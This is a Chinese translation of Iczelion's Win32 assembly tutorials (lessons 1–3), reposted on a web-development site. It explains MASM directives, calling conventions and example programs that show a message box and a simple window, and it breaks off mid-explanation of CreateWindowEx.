VJStudio.net

  • VJStudio.net网站
  • 探讨网页制作技术
  • 网站建设
  • VC++程序开发
  • 动画创建与美工
本教程由Venjiang制作整理，内容版权归原作者所有，
未经允许任何组织或个人不得转载或有商业用途!
进入
©2001 VJStudio 版权所有，保留所有权利。
www.VJStudio.net


Iczelion 的 Win32asm 教程

第一课 基本概念

我们先假设您已知道了如何使用MASM。如果您还不知道的话，请下载 win32asm.exe ，并请仔细研读其中所附带的文档资料。好，如果您已准备就绪，我们这就开始吧!

理论：

WIN32 程序运行在保护模式下的，保护模式的历史可以追溯到 80286。而今 80286 已成为了历史。所以我们将只把精力集中于 80386 及后续的X86 系列 CPU。Windows 把每一个 Win32 应用程序放到分开的虚拟地址空间中去运行，也就是说每一个应用程序都拥有其相互独立的 4GB 地址空间，当然这倒不是说它们都拥有 4GB 的物理地址空间，而只是说能够在 4GB 的范围内寻址。操作系统将会在应用程序运行时完成 4GB 的虚拟地址和物理内存地址间的转换。这就要求编写应用程序时必须格守 Windows 的规范，否则极易引起内存的保护模式错误。而过去的 Win16 内存模式下，所有的应用程序都运行于同一个 4GB 地址空间，它们可以彼此"看"到别的程序的内容，这极易导致一个应用程序破坏另一个应用程序甚至是操作系统的数据或代码。
和 16 位 Windows 下的把代码分成 DATA，CODE 等段的内存模式不同，WIN32 只有一种内存模式，即 FLAT 模式，意思是"平坦"的内存模式，再没有 64K 的段大小限制，所有的 WIN32 的应用程序运行在一个连续、平坦、巨大的 4GB 的空间中。这同时也意味着您无须和段寄存器打交道，您可以用任意的段寄存器寻址任意的地址空间，这对于程序员来说是非常方便的，这也使得用32位汇编语言和用C语言一样方便。 在Win32下编程，有许多重要的规则需要遵守。有一条很重要的是：Windows 在内部频繁使用 ESI，EDI，EBP，EBX 寄存器，而且并不去检测这些寄存器的值是否被更改，这样当您要使用这些寄存器时必须先保存它们的值，待用完后再恢复它们，一个最显著的应用例子就是 Windows 的 CallBack 函数中。

内容：

下面的程序段是一个框架， 若您现在还不知道这些指令的确切意义的话，没关系， 随后我就会给大家详细解释。

.386
.MODEL Flat, STDCALL
.DATA
<Your initialized data>
......
.DATA?
<Your uninitialized data>
......
.CONST
<Your constants>
......
.CODE
<label>
<Your code>
.....
end <label>

框架就这么简单，好，我现在就给您解释：

.386
这是一个汇编语言伪指令，他告诉编译器我们的程序是使用80386指令集编写的。您还可以使用 .486、.586， 但最安全的还是使用.386。对于每一种CPU有两套几乎功能相同伪指令： .386/.386P、 486/.486P、 586/.586P。 带P的指令标明您的程序中可以用特权级指令。特权级指令是保留给操作系统的，如虚拟设备驱动程序。在大多数时间，您的程序都无须运行在RING0层，故用不带后缀P的伪指令已足够了。

.MODEL FLAT，STDCALL
.MODEL 是用来指定内存模式的伪指令，在Win32下，只有一种内存模型，那就是FLAT。 STDCALL 告诉编译器参数的传递约定。参数的传递约定是指参数传达时的顺序(从左到右或从右到左)和由谁恢复堆栈指针(调用者或被调用者)。在Win16下有两种约定：C 和 PASCAL。C 约定规定参数传递顺序是从右到左，即最右边的参数最先压栈，由调用者恢复堆栈指针。

例如：为调用函数 foo ( int first_param， int second_param， int third_param )； 按C约定的汇编代码应该是这样的：

push [third_param]
push [second_param]
push [first_param]
call foo
add esp， 3 * 4 ;调用者自己恢复堆栈指针

PASCAL约定和C约定正好相反，它规定参数是从左向右传递，由被调用者恢复堆栈。Win16采用了PASCAL约定， 因为PASCAL约定产生的代码量要小。当不知道参数的个数时，C约定特别有用。如在函数wsprintf () 中， wsprintf预先并不知道要传递几个参数，所以它不知道如何恢复堆栈。STDCALL是C约定和PASCAL约定的混合体，它规定参数的传递是从右到左，恢复堆栈的工作交由被调用者。Win32只用STDCALL约定，但除了一个特例，即：wsprintf。

.DATA .DATA? .CONST .CODE
上面的四个伪指令是"分段"(SECTION)伪指令。我们上面刚讲过Win32下没有"段"(SEGMENT)的概念，但是您可以把您的程序分成不同的"分段"， 一个"分段"的开始即是上一个"分段"的结束。WIN32中只有两种性质的"分段"：DATA和CODE。
其中DATA"分段"又分为三种：
.DATA 其中包括已初始化的数据。
.DATA? 其中包括未初始化的数据。比如有时您仅想预先分配一些内存但并不想指定初始值。使用未初始化的数据的优点是它不占据可执行文件的大小，如：若您要在 .DATA? 段中分配10，000字节的空间，您的可执行文件的大小无须增加10，000字节，而仅仅是要告诉编译器在装载可执行文件时分配所需字节。
.CONST 其中包括常量定义。这些常量在程序运行过程中是不能更改的。 应用程序并不需要以上所有的三个"分段"， 可以根据需要进行定义。
.CODE 这是代码"分段"。
<译者注：实际上，分段并不是象在 Dos 下一样，为不同的段分别指出不同的段寄存器，因为 Windows 下只有一个 4GB 的段，Windows 程序中的分段表现在当程序装载时，赋予不同的分段不同的属性，比如说当你的程序加载时，对于 Ring3 程序来说，.code 段是不可写的，而 .data 段是可写的，如果你尝试象在 Dos 下一样写自己的代码部分，你会得到一个蓝屏错误>

<label>
end <label>
是用来唯一标识您的代码范围的标签， 两个标签必须相同，应用程序的所有可执行代码必修在两个标签之间。

翻译：Lxx，校对：LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Iczelion 的 Win32asm 教程

第二课 消息框

在本课中，我们将用汇编语言写一个 Windows 程序，程序运行时将弹出一个消息框并显示"Win32 assembly is great!"。

理论：

Windows 为编写应用程序提供了大量的资源。其中最重要的是Windows API (Application Programming Interface)。 Windows API是一大组功能强大的函数，它们本身驻扎在 Windows 中供人们随时调用。这些函数的大部分被包含在几个动态链接库(DLL)中，譬如：kernel32.dll、 user32.dll 和 gdi32.dll。 Kernel32.dll中的函数主要处理内存管理和进程调度；user32.dll中的函数主要控制用户界面；gdi32.dll中的函数则负责图形方面的操作。除了上面主要的三个动态链接库，您还可以调用包含在其他动态链接库中的函数，当然您必须要有关于这些函数的足够的资料。

动态链接库，顾名思义，这些 API 的代码本身并不包含在 Windows 可执行文件中，而是当要使用时才被加载。为了让应用程序在运行时能找到这些函数，就必须事先把有关的重定位信息嵌入到应用程序的可执行文件中。这些信息存在于引入库中，由链接器把相关信息从引入库中找出插入到可执行文件中。您必须指定正确的引入库，因为只有正确的引入库才会有正确的重定位信息。

当应用程序被加载时 Windows 会检查这些信息，这些信息包括动态链接库的名字和其中被调用的函数的名字。若检查到这样的信息，Windows 就会加载相应的动态链接库，并且重定位调用的函数语句的入口地址，以便在调用函数时控制权能转移到函数内部。

如果从和字符集的相关性来分，API 共有两类：一类是处理 ANSI 字符集的，另一类是处理 UNICODE 字符集的。前一类函数名字的尾部带一个"A"字符，处理UNICODE的则带一个"W"字符(我想"W"也许是代表宽字符的意思吧)。我们比较熟悉的ANSI字符串是以 NULL 结尾的一串字符数组，每一个ANSI字符是一个 BYTE 宽。对于欧洲语言体系，ANSI 字符集已足够了，但对于有成千上万个唯一字符的几种东方语言体系来说就只有用 UNICODE 字符集了。每一个 UNICODE 字符占有两个 BYTE 宽，这样一来就可以在一个字符串中使用 65336 个不同字符了。

这也是为什么引进 UNICODE 的原因。在大多数情况下我们都可以用一个包含头文件，在其中定义一个宏，然后在实际调用函数时，函数名后不需要加后缀"A"或"W"。
<译者注：如在头文件中定义函数foo()；
#ifdef UNICODE
#define foo() fooW()
#else
#define foo() fooA()
#endif
>

例子：

我先把框架程序放在下面，然后我们再向里面加东西。

.386
.model flat， stdcall
.data
.code
start：
end start

应用程序的执行是从 END

ExitProcess proto uExitCode：DWORD

上面一行是函数原型。函数原型会告诉编译器和链接器该函数的属性，这样在编译和链接时，编译器和链接器就会作相关的类型检查。 函数的原型定义如下：

FunctionName PROTO [ParameterName]：DataType，[ParameterName]：DataType，...

简言之，就是在函数名后加伪指令PROTO，再跟一串由逗号相隔的数据类型链表。在前面的 ExitProcess 定义中，该函数有一个 DWORD 类型的参数。当您使用高层调用语句 INVOKE 时，使用函数原型定义特别有用，您可以简单地认为 INVOKE 是一个有参数类型检查的调用语句。譬如，假设您这样写：

call ExitProcess

若您事先没把一个DWORD类型参数压入堆栈，编译器和链接器都不会报错，但毫无疑问，在您的程序运行时将引起崩溃。但是，当您这样写：

invoke ExitProcess

连接器将报错提醒您忘记压入一个 DWORD 类型参数。所以我建议您用 INVOKE 指令而不是CALL去调用一个函数。INVOKE 的语法如下：

INVOKE expression [，arguments]

expression 既可以是一个函数名也可以是一个函数指针。参数由逗号隔开。大多数API函数的原型放在头文件中。 如果您用的是 hutch 的 MASM32，这些头文件在文件夹MASM32/include 下， 这些头文件的扩展名为 INC，函数名和 DLL 中的函数名相同，譬如：KERNEL32.LIB 引出的函数 ExitProcess 的函数原形声明于kernel.inc中。您也可以自己声明函数原型。 在我的教学课程中都使用 hutch 的windows。inc，这些头文件您可以从http：//win32asm.cjb.net下载。

好，我们现在回到ExitProcess 函数，参数uExitCode 是您希望当您的应用程序结束时传递 Windows 的。 您可以这样写：

invoke ExitProcess，0

把这一行放到开始标识符下，这个应用程序就会立即退出 Windows，当然毫无疑问个应用程序本身是一个完整的 Windows 程序。

.386
.model flat， stdcall
option casemap：none

include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

.data
.code
start：
invoke ExitProcess，0
end start

option casemap：none 一句的意思是告诉 MASM 要区分标号的大小写，譬如：start 和 START 是不同的。请注意新的伪指令 include，跟在其后的文件名所指定的文件在编译时将“插”在该处。在我们上面的程序段中，当MASM处理到语句 include \masm\include\windows.inc 时，它就会打开文件夹\MASM32\include 中的文件windows.inc，这和您把整个文件都粘贴到您的源程序中的效果是一样的。 hutch 的 windows.inc 包含了 WIN32 编程所需要的常量和结构体的定义。 但是它不包含函数原型的定义。尽管 hutch 和我尽力包含所有的常量和结构体的定义，但仍会有不少遗漏，为此我们将不断加入新的内容。请随时注意我们主页，下载最新的头文件。

您的应用程序除了从 windows.inc 中得到相关变量结构体的定义外，还需要从其他的头文件中得到函数原型的声明，这些头文件都放在 \masm32\include 文件夹中。 在我们上面的例子中调用了驻扎在 kernel.dll 中的函数，所以需要包含有这个函数原型声明的头文件 kernel.inc。如果用文本编辑器打开该文件您会发现里面全是从 kernel.dll中引出的函数的声明。如果您不包含kernel.inc，您仍然可以调用（call）ExitProcess，但不能够调用（invoke）ExitProcess（这会无法通过编译器和连接器的参数合法性检查）。所以若用 invoke 去调用一个函数，您就必须事先声明，当然不一定要包含我们的头文件，您完全可以在调用该函数前在源代码的适当位置进行声名。包含头文件主要是为了节省时间（译者：当然还有正确性）

接下来我们来看看 includelib 伪指令，和 include 不同，它仅仅是告诉编译器您的程序引用了哪个库。当编译器处理到该指令时会在生成的目标文件中插入链接命令告诉链接器链入什么库。当然您还可以通过在链接器的命令行指定引入库名称的方法来达到和用includelib指令相同的目的，但考虑到命令行仅能够传递128个字符而且要不厌其烦地在命令行敲字符，所以这种方法是非常不可取的。

好了，现在保存例子，取名为msgbox.asm。把 ml.exe 的路径放到 PATH 环境变量中，键入下面一行 进行编译：

ml /c /coff /Cp msgbox。asm （译者注：命令行参数大小写是有区别的）

  • /c 是告诉MASM只编译不链接。这主要是考虑到在链接前您可能还有其他工作要做。
  • /coff 告诉MASM产生的目标文件用 coff 格式。MASM 的 coff 格式是COFF（Common Object File Format：通用目标文件格式） 格式的一种变体。在 UNIX 下的 COFF 格式又有不同。
  • /Cp 告诉 MASM 不要更改用户定义的标识符的大小写。若您用的是 hutch 的包含文件的话，在.model 指令下加入 "option casemap：none" 语句，可达到同样的效果。

当您成功的编译了 msgbox.asm 后，编译器会产生 msgbox.obj 目标文件，目标文件和可执行文件只一步之遥，目标文件中包含了以二进制形式存在的指令和数据，比可执行文件相差的只是链接器加入的重定位信息。

好，我们来链接目标文件：

link /SUBSYSTEM：WINDOWS /LIBPATH：c：\masm32\lib msgbox.obj

  • /SUBSYSTEM：WINDOWS 告诉链接器可执行文件的运行平台
  • /LIBPATH：〈path to import library〉 告诉链接器引入库的路径。

链接器做的工作就是根据引入库往目标文件中加入重定位信息，最后产生可执行文件。 既然得到了可执行文件，我们来运行一下。好，一、二、三，GO！屏幕上什么都没有。哦，对了，我们除了调用了 ExitProcess 函数外，甚麽都还没做呢！但是别一点成就感都没有哦，因为我们用汇编所写的是一个真正 Windows 程序，不信的话，查查您磁盘上的 msgbox.exe文件，在我的机器上它的大小足有1，536字节呢。

下面我们来做一点可以看的见摸的着的，我们在程序中加入一个对话框。该函数的原型如下：

MessageBox PROTO hwnd：DWORD， lpText：DWORD， lpCaption：DWORD， uType：DWORD

  • hWnd 是父窗口的句柄。句柄代表您引用的窗口的一个地址指针。它的值对您编 Windows 程序并不重要（译者注：如果您想成为高手则是必须的），您只要知道它代表一个窗口。当您要对窗口做任何操作时，必须要引用该窗口的指针。
  • lpText 是指向您要显示的文本的指针。指向文本串的指针事实上就是文本串的首地址。
  • lpCaption 是指向您要显示的对话框的标题文本串指针。
  • uType 是显示在对话框窗口上的小图标的类型。

下面是源程序

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib

.data
MsgBoxCaption db "Iczelion Tutorial No.2",0
MsgBoxText db "Win32 Assembly is Great!",0

.code
start:
invoke MessageBox, NULL, addr MsgBoxText, addr MsgBoxCaption, MB_OK
invoke ExitProcess, NULL
end start

编译、链接上面的程序段，得到可执行文件。运行，哈哈，窗口上弹出了一个对话框，上面有一行字：“Win32 Assembly is Great！”。想一想，我们是用汇编写出来的，所以我们有理由为编写了一个最简单的 WIN32 程序感到高兴。（译者注：如果明天我们能够像在 DOS 下那样每一行都用汇编写，那我们有理由为自己感到自豪。）

好，我们回过头来看看上面的源代码。我们在.DATA“分段”定义了两个NULL结尾的字符串。我们用了两个常量：NULL 和 MB_OK。这些常量在windows.inc 文件中有定义，使用常量使得您的程序有较好的可读性。 addr　操作符用来把标号的地址传递给被调用的函数，它只能用在 invoke 语句中，譬如您不能用它来把标号的地址赋给寄存器或变量，如果想这样做则要用 offset 操作符。在 offset 和 addr 之间有如下区别：

  1. addr不可以处理向前引用，offset则能。所谓向前引用是指：标号的定义是在invoke 语句之后，譬如在如下的例子：
    invoke MessageBox，NULL， addr MsgBoxText，addr MsgBoxCaption，MB_OK

    ......

    MsgBoxCaption db "Iczelion Tutorial No.2"，0
    MsgBoxText db "Win32 Assembly is Great!"，0

    如果您是用 addr 而不是 offset 的话，那 MASM 就会报错。
  2. addr可以处理局部变量而 offset 则不能。局部变量只是在运行时在堆栈中分配内存空间。而 offset 则是在编译时由编译器解释，这显然不能用offset 在运行时来分配内存空间。编译器对 addr 的处理是先检查处理的是全局还是局部变量，若是全局变量则把其地址放到目标文件中，这一点和 offset 相同，若是局部变量，就在执行 invoke 语句前产生如下指令序列：
    lea eax， LocalVar
    push eax
    因为lea指令能够在运行时决定标号的有效地址，所以有了上述指令序列，就可以保证 invoke 的正确执行了。

翻译：Lxx，校对：LuoYunBin's Win32 ASM Page，http://asm.yeah.net


Iczelion 的 Win32asm 教程

第三课 创建简单的窗口

在本课中我们将写一个 Windows 程序，它会在桌面显示一个标准的窗口。

理论：

Windows 程序中，在写图形用户界面时需要调用大量的标准 Windows Gui 函数。其实这对用户和程序员来说都有好处，对于用户，面对的是同一套标准的窗口，对这些窗口的操作都是一样的，所以使用不同的应用程序时无须重新学习操作。对程序员来说，这些 Gui 源代码都是经过了微软的严格测试，随时拿来就可以用的。当然至于具体地写程序对于程序员来说还是有难度的。为了创建基于窗口的应用程序，必须严格遵守规范。作到这一点并不难，只要用模块化或面向对象的编程方法即可。

下面我就列出在桌面显示一个窗口的几个步骤：

  1. 得到您应用程序的句柄(必需)；
  2. 得到命令行参数(如果您想从命令行得到参数，可选)；
  3. 注册窗口类(必需，除非您使用 Windows 预定义的窗口类，如 MessageBox 或 dialog box；
  4. 产生窗口(必需)；
  5. 在桌面显示窗口(必需，除非您不想立即显示它)；
  6. 刷新窗口客户区；
  7. 进入无限的获取窗口消息的循环；
  8. 如果有消息到达，由负责该窗口的窗口回调函数处理；
  9. 如果用户关闭窗口，进行退出处理。

相对于单用户的 DOS 下的编程来说，Windows 下的程序框架结构是相当复杂的。但是 Windows 和 DOS 在系统架构上是截然不同的。Windows 是一个多任务的操作系统，故系统中同时有多个应用程序彼此协同运行。这就要求 Windows 程序员必须严格遵守编程规范，并养成良好的编程风格。

内容：

下面是我们简单的窗口程序的源代码。在进入复杂的细节前，我将提纲挈领地指出几点要点：

  1. 您应当把程序中要用到的所有常量和结构体的声明放到一个头文件中，并且在源程序的开始处包含这个头文件。这么做将会节省您大量的时间，也免得一次又一次的敲键盘。目前，最完善的头文件是 hutch 写的，您可以到 hutch 或我的网站下载。您也可以定义您自己的常量和结构体，但最好把它们放到独立的头文件中
  2. 用 includelib 指令，包含您的程序要引用的库文件，譬如：若您的程序要调用 "MessageBox"， 您就应当在源文件中加入如下一行： includelib user32.lib 这条语句告诉 MASM 您的程序将要用到一些引入库。如果您不止引用一个库，只要简单地加入 includelib 语句，不要担心链接器如何处理这么多的库，只要在链接时用链接开关 /LIBPATH 指明库所在的路径即可。
  3. 在其它地方运用头文件中定义函数原型，常数和结构体时，要严格保持和头文件中的定义一致，包括大小写。在查询函数定义时，这将节约您大量的时间；
  4. 在编译，链接时用makefile文件，免去重复敲键。

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib ; calls to functions in user32.lib and kernel32.lib
include \masm32\include\kernel32.inc
includelib \masm32\lib\kernel32.lib

WinMain proto :DWORD,:DWORD,:DWORD,:DWORD

.DATA ; initialized data
ClassName db "SimpleWinClass",0 ; the name of our window class
AppName db "Our First Window",0 ; the name of our window

.DATA? ; Uninitialized data
hInstance HINSTANCE ? ; Instance handle of our program
CommandLine LPSTR ?
.CODE ; Here begins our code
start:
invoke GetModuleHandle, NULL ; get the instance handle of our program.
; Under Win32, hmodule==hinstance mov hInstance,eax
mov hInstance,eax
invoke GetCommandLine ; get the command line. You don't have to call this function IF
; your program doesn't process the command line.
mov CommandLine,eax
invoke WinMain, hInstance,NULL,CommandLine, SW_SHOWDEFAULT ; call the main function
invoke ExitProcess, eax ; quit our program. The exit code is returned in eax from WinMain.

WinMain proc hInst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD
LOCAL wc:WNDCLASSEX ; create local variables on stack
LOCAL msg:MSG
LOCAL hwnd:HWND

mov wc.cbSize,SIZEOF WNDCLASSEX ; fill values in members of wc
mov wc.style, CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc, OFFSET WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground,COLOR_WINDOW+1
mov wc.lpszMenuName,NULL
mov wc.lpszClassName,OFFSET ClassName
invoke LoadIcon,NULL,IDI_APPLICATION
mov wc.hIcon,eax
mov wc.hIconSm,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
invoke RegisterClassEx, addr wc ; register our window class
invoke CreateWindowEx,NULL,\
ADDR ClassName,\
ADDR AppName,\
WS_OVERLAPPEDWINDOW,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
CW_USEDEFAULT,\
NULL,\
NULL,\
hInst,\
NULL
mov hwnd,eax
invoke ShowWindow, hwnd,CmdShow ; display our window on desktop
invoke UpdateWindow, hwnd ; refresh the client area

.WHILE TRUE ; Enter message loop
invoke GetMessage, ADDR msg,NULL,0,0
.BREAK .IF (!eax)
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
.ENDW
mov eax,msg.wParam ; return exit code in eax
ret
WinMain endp

WndProc proc hWnd:HWND, uMsg:UINT, wParam:WPARAM, lParam:LPARAM
.IF uMsg==WM_DESTROY ; if the user closes our window
invoke PostQuitMessage,NULL ; quit our application
.ELSE
invoke DefWindowProc,hWnd,uMsg,wParam,lParam ; Default message processing
ret
.ENDIF
xor eax,eax
ret
WndProc endp

end start

分析：

看到一个简单的 Windows 程序有这么多行，您是不是有点想撤? 但是您必须要知道的是上面的大多数代码都是模板而已，模板的意思即是指这些代码对差不多所有标准 Windows 程序来说都是相同的。在写 Windows 程序时您可以把这些代码拷来拷去，当然把这些重复的代码写到一个库中也挺好。其实真正要写的代码集中在 WinMain 中。这和一些 C 编译器一样，无须要关心其它杂务，集中精力于 WinMain 函数。唯一不同的是 C 编译器要求您的源代码有必须有一个函数叫 WinMain。否则 C 无法知道将哪个函数和有关的前后代码链接。相对C，汇编语言提供了较大的灵活性，它不强行要求一个叫 WinMain 的函数。

下面我们开始分析，您可得做好思想准备，这可不是一件太轻松的活。

.386
.model flat，stdcall
option casemap：none

WinMain proto ：DWORD，：DWORD，：DWORD，：DWORD

include \masm32\include\windows.inc
include \masm32\include\user32.inc
include \masm32\include\kernel32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib

您可以把前三行看成是"必须"的.

.386告诉MASN我们要用80386指令集。
. model flat，stdcall告诉MASM 我们用的内存寻址模式，此处也可以加入stdcall告诉MASM我们所用的参数传递约定。

接下来是函数 WinMain 的原型申明，因为我们稍后要用到该函数，故必须先声明。我们必须包含 window.inc 文件，因为其中包含大量要用到的常量和结构的定义，该文件是一个文本文件，您可以用任何文本编辑器打开它， window.inc还没有包含所有的常量和结构定义，不过 hutch 和我一直在不断加入新的内容。如果暂时在 window.inc 找不到，您也可以自行加入。

我们的程序调用驻扎在 user32.dll (譬如：CreateWindowEx， RegisterWindowClassEx) 和 kernel32.dll (ExitProcess)中的函数，所以必须链接这两个库。接下来我如果问：您需要把什么库链入您的程序呢 ? 答案是：先查到您要调用的函数在什么库中，然后包含进来。譬如：若您要调用的函数在 gdi32.dll 中，您就要包含gdi32.inc头文件。和 MASM 相比，TASM 则要简单得多，您只要引入一个库，即：import32.lib。<译者注：但 Tasm5 麻烦的是 windows.inc 非常的不全面，而且如果在 Windows.inc 中包含全部的 API 定义会内存不够，所以每次你得把用到的 API 定义拷贝出来>

.DATA

ClassName db "SimpleWinClass"，0
AppName db "Our First Window"，0

.DATA?

hInstance HINSTANCE ?
CommandLine LPSTR ?

接下来是DATA"分段"。 在 .DATA 中我们定义了两个以 NULL 结尾的字符串 (ASCIIZ)：其中 ClassName 是 Windows 类名，AppName 是我们窗口的名字。这两个变量都是初始化了的。未进行初始化的两个边量放在 .DATA? "分段"中，其中 hInstance 代表应用程序的句柄，CommandLine 保存从命令行传入的参数。HINSTACE 和 LPSTR 是两个数据类型名，它们在头文件中定义，可以看做是 DWORD 的别名，之所以要这么重新定仅是为了易记。您可以查看 windows.inc 文件，在 .DATA? 中的变量都是未经初始化的，这也就是说在程序刚启动时它们的值是什么无关紧要，只不过占有了一块内存，以后可以再利用而已。

.CODE
start：
invoke GetModuleHandle， NULL
mov hInstance，eax
invoke GetCommandLine
mov CommandLine，eax
invoke WinMain， hInstance，NULL，CommandLine， SW_SHOWDEFAULT
invoke ExitProcess，eax
.....
end start

.DATA "分段"包含了您应用程序的所有代码，这些代码必须都在 .code 和 end 之间。至于 label 的命名只要遵从 Windows 规范而且保证唯一则具体叫什么倒是无所谓。我们程序的第一条语句是调用 GetModuleHandle 去查找我们应用程序的句柄。在Win32下，应用程序的句柄和模块的句柄是一样的。您可以把实例句柄看成是您的应用程序的 ID 号。我们在调用几个函数是都把它作为参数来进行传递，所以在一开始便得到并保存它就可以省许多的事。

特别注意：WIN32下的实例句柄实际上是您应用程序在内存中的线性地址。

WIN32 中函数的函数如果有返回值，那它是通过 eax 寄存器来传递的。其他的值可以通过传递进来的参数地址进行返回。一个 WIN32 函数被调用时总会保存好段寄存器和 ebx，edi，esi和ebp 寄存器，而 ecx和edx 中的值总是不定的，不能在返回是应用。特别注意：从 Windows API 函数中返回后，eax，ecx，edx 中的值和调用前不一定相同。当函数返回时，返回值放在eax中。如果您应用程序中的函数提供给 Windows 调用时，也必须尊守这一点，即在函数入口处保存段寄存器和 ebx，esp，esi，edi 的值并在函数返回时恢复。如果不这样一来的话，您的应用程序很快会崩溃。从您的程序中提供给 Windows 调用的函数大体上有两种：Windows 窗口过程和 Callback 函数。

如果您的应用程序不处理命令行那么就无须调用 GetCommandLine，这里只是告诉您如果要调用应该怎么做。

下面则是调用WinMain了。该函数共有4个参数：应用程序的实例句柄，该应用程序的前一实例句柄，命令行参数串指针和窗口如何显示。Win32 没有前一实例句柄的概念，所以第二个参数总为0。之所以保留它是为了和 Win16 兼容的考虑，在 Win16下，如果 hPrevInst 是 NULL，则该函数是第一次运行。特别注意：您不用必须申明一个名为 WinMain 函数，事实上在这方面您可以完全作主，您甚至无须有一个和 WinMain 等同的函数。您只要把 WinMain 中的代码拷到GetCommandLine 之后，其所实现的功能完全相同。在 WinMain 返回时，把返回码放到 eax 中。然后在应用程序结束时通过 ExitProcess 函数把该返回码传递给 Windows 。

WinMain proc Inst:HINSTANCE,hPrevInst:HINSTANCE,CmdLine:LPSTR,CmdShow:DWORD

上面是WinMain的定义。注意跟在 proc 指令后的parameter：type形式的参数，它们是由调用者传给 WinMain 的，我们引用是直接用参数名即可。至于压栈和退栈时的平衡堆栈工作由 MASM 在编译时加入相关的前序和后序汇编指令来进行。 LOCAL wc：WNDCLASSEX LOCAL msg：MSG LOCAL hwnd：HWND LOCAL 伪指令为局部变量在栈中分配内存空间，所有的 LOCAL 指令必须紧跟在 PROC 之后。LOCAL 后跟声明的变量，其形式是 变量名:变量类型。譬如 LOCAL wc：WNDCLASSEX 即是告诉 MASM 为名字叫 wc 的局部边量在栈中分配长度为 WNDCLASSEX 结构体长度的内存空间，然后我们在用该局部变量是无须考虑堆栈的问题，考虑到 DOS 下的汇编，这不能不说是一种恩赐。不过这就要求这样申明的局部变量在函数结束时释放栈空间，(也即不能在函数体外被引用)，另一个缺点是您因不能初始化您的局部变量，不得不在稍后另外再对其赋值。

mov wc.cbSize，SIZEOF WNDCLASSEX
mov wc.style， CS_HREDRAW or CS_VREDRAW
mov wc.lpfnWndProc， OFFSET WndProc
mov wc.cbClsExtra，NULL
mov wc.cbWndExtra，NULL
push hInstance
pop wc.hInstance
mov wc.hbrBackground，COLOR_WINDOW+1
mov wc.lpszMenuName，NULL
mov wc.lpszClassName，OFFSET ClassName
invoke LoadIcon，NULL，IDI_APPLICATION
mov wc.hIcon，eax
mov wc.hIconSm，eax
invoke LoadCursor，NULL，IDC_ARROW
mov wc.hCursor，eax invoke
RegisterClassEx， addr w

上面几行从概念上说确实是非常地简单。只要几行指令就可以实现。其中的主要概念就是窗口类（window class），一个窗口类就是一个有关窗口的规范，这个规范定义了几个主要的窗口的元素，如：图标、光标、背景色、和负责处理该窗口的函数。您产生一个窗口时就必须要有这样的一个窗口类。如果您要产生不止一个同种类型的窗口时，最好的方法就是把这个窗口类存储起来，这种方法可以节约许多的内存空间。也许今天您不会太感觉到，可是想想以前 PC 大多数只有 1M 内存时，这么做是非常有必要的。如果您要定义自己的创建窗口类就必须：在一个 WINDCLASS 或 WINDOWCLASSEXE 结构体中指明您窗口的组成元素，然后调用 RegisterClass 或 RegisterClassEx ，再根据该窗口类产生窗口。对不同特色的窗口必须定义不同的窗口类。 WINDOWS有几个预定义的窗口类，譬如：按钮、编辑框等。要产生该种风格的窗口无须预先再定义窗口类了，只要包预定义类的类名作为参数调用 CreateWindowEx 即可。

WNDCLASSEX 中最重要的成员莫过于lpfnWndProc了。前缀 lpfn 表示该成员是一个指向函数的长指针。在 Win32中由于内存模式是 FLAT 型，所以没有 near 或 far 的区别。每一个窗口类必须有一个窗口过程，当 Windows 把属于特定窗口的消息发送给该窗口时，该窗口的窗口类负责处理所有的消息，如键盘消息或鼠标消息。由于窗口过程差不多智能地处理了所有的窗口消息循环，所以您只要在其中加入消息处理过程即可。下面我将要讲解 WNDCLASSEX 的每一个成员

WNDCLASSEX STRUCT DWORD
cbSize DWORD ?
style DWORD ?
lpfnWndProc DWORD ?
cbClsExtra DWORD ?
cbWndExtra DWORD ?
hInstance DWORD ?
hIcon DWORD ?
hCursor DWORD ?
hbrBackground DWORD ?
lpszMenuName DWORD ?
lpszClassName DWORD ?
hIconSm DWORD ?
WNDCLASSEX ENDS

  • cbSize：WNDCLASSEX 的大小。我们可以用sizeof（WNDCLASSEX）来获得准确的值。
  • style：从这个窗口类派生的窗口具有的风格。您可以用“or”操作符来把几个风格或到一起。
  • lpfnWndProc：窗口处理函数的指针。
  • cbClsExtra：指定紧跟在窗口类结构后的附加字节数。
  • cbWndExtra：指定紧跟在窗口事例后的附加字节数。如果一个应用程序在资源中用CLASS伪指令注册一个对话框类时，则必须把这个成员设成DLGWINDOWEXTRA。
  • hInstance：本模块的事例句柄。
  • hIcon：图标的句柄。
  • hCursor：光标的句柄。
  • hbrBackground：背景画刷的句柄。
  • lpszMenuName：指向菜单的指针。
  • lpszClassName：指向类名称的指针。
  • hIconSm：和窗口类关联的小图标。如果该值为NULL。则把hCursor中的图标转换成大小合适的小图标。

invoke CreateWindowEx， NULL，\
ADDR ClassName，\
ADDR AppName，\
WS_OVERLAPPEDWINDOW，\
CW_USEDEFAULT，\
CW_USEDEFAULT，\
CW_USEDEFAULT，\
CW_USEDEFAULT，\
NULL，\
NULL，\
hInst，\
NULL

注册窗口类后，我们将调用CreateWindowEx来产生实际的窗口。请注意该函数有12个参数。

CreateWindowExA proto dwExStyle：DWORD，\
lpClassName：DWORD，\
lpWindowName：DWORD，\
dwStyle：DWORD，\
X：DWORD，\
Y：DWORD，\
nWidth：DWORD，\
nHeight：DWORD，\
hWndParent：DWORD ，\
hMenu：DWORD，\
hInstance：DWORD，\
lpParam：DWORD

我们来仔细看一看这些的参数：

